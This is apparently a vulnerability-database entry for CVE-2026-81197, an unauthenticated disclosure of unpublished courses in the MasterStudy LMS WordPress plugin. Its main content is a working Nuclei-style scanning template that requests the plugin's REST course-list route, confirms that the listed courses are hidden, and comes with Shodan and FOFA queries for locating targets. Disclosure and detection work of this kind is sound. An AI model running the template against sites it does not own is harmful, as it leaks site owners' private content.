CVE-2026-81197: MasterStudy LMS < 3.7.46 - Unauthenticated Unpublished Course Disclosure

2026-11-29 PoC Public

Description

The MasterStudy LMS WordPress Plugin before 3.7.46 does not restrict access to a REST route that lists an author's courses, nor does it filter that listing by publication status, allowing unauthenticated users to read the titles and IDs of unpublished (draft, pending and private) courses.

Details

CVE
CVE-2026-81197 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-81197

info:
  name: MasterStudy LMS < 3.7.46 - Unauthenticated Unpublished Course Disclosure
  author: maulanawirawan
  severity: medium
  description: |
    The MasterStudy LMS WordPress Plugin before 3.7.46 does not restrict access to a REST route that lists an author's courses, nor does it filter that listing by publication status, allowing unauthenticated users to read the titles and IDs of unpublished (draft, pending and private) courses.
  impact: |
    Unauthenticated attackers can enumerate the titles and IDs of unpublished courses of any author, disclosing content that is not yet or no longer publicly visible.
  remediation: |
    Update to version 3.7.46 or later.
  reference:
    - https://wpscan.com/vulnerability/8738320c-eb44-46b9-b809-b5cb786cb3e4/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-81197
  classification:
    cve-id: CVE-2026-81197
    cwe-id: CWE-200
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    epss-score: 0.00762
    epss-percentile: 0.51722
  metadata:
    verified: true
    max-request: 10
    vendor: stylemix
    product: masterstudy-lms
    shodan-query: http.html:"/wp-content/plugins/masterstudy-lms-learning-management-system/"
    fofa-query: body="masterstudy-lms-learning-management-system"
  tags: cve,cve2026,wordpress,wp-plugin,masterstudy-lms,rest,disclosure,unauth

flow: |
  http(1)
  let ids = template["course_ids"] || [];
  if (!Array.isArray(ids)) ids = [ids];
  for (let id of ids.slice(0, 9)) {
    set("course_id", id);
    http(2);
  }

http:
  - raw:
      - |
        GET /?rest_route=/lms/stm-lms-user/course-list&author_id=1 HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"id\"", "\"title\"")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: course_ids
        part: body
        internal: true
        group: 1
        regex:
          - '"id"\s*:\s*"?(\d+)"?'

  - raw:
      - |
        GET /?p={{course_id}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: status
        status:
          - 404
# digest: 4a0a00473045022100d59fdff2c8dfb12cc10285f0f67d4381b2663641190f93baae95f6c3d61b3919022038758794e9b1ac2368a80d07c960c9e15fc6c6ed448b43626c033520b1ca5606:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life